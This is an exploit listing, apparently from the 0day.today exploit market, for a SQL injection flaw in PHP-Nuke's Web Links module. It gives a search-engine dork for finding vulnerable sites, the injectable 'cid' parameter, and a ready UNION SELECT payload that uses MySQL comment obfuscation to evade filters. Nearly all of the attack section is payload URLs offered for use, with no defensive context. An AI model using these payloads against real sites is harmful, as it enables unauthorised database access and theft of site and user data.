[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

PHP-Nuke Web Links SQL Injection Vulnerability

Author
AtT4CKxT3rR0r1ST
Risk
[
Security Risk High
]
0day-ID
0day-ID-22268
Category
web applications
Date add
19-05-2014
Platform
php
PHP-Nuke module(Web Links) - Sql Injection Vulnerabilty
===================================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST
.:. Contact        : [F.Hack@w.cn] , [AtT4CKxT3rR0r1ST@gmail.com]
.:. Home           : http://www.iphobos.com/blog/
.:. Script         : https://www.phpnuke.org/
.:. Dork           : inurl:"modules.php?op=" & "name=Web_Links"
####################################################################

#########
EXPLOIT
#########
Type:  Mysql Injection

http://SITE/modules.php?op=modload&name=Web_Links&file=index&req=viewlink&cid=[SQLINJECTION]

http://SITE/modules.php?op=modload&name=Web_Links&file=index&req=viewlink&cid=-1+/*!50000UnIoN*/+/*!50000SeLeCt*/+1,2

####################################################################

#  0day.today [2024-11-14]  #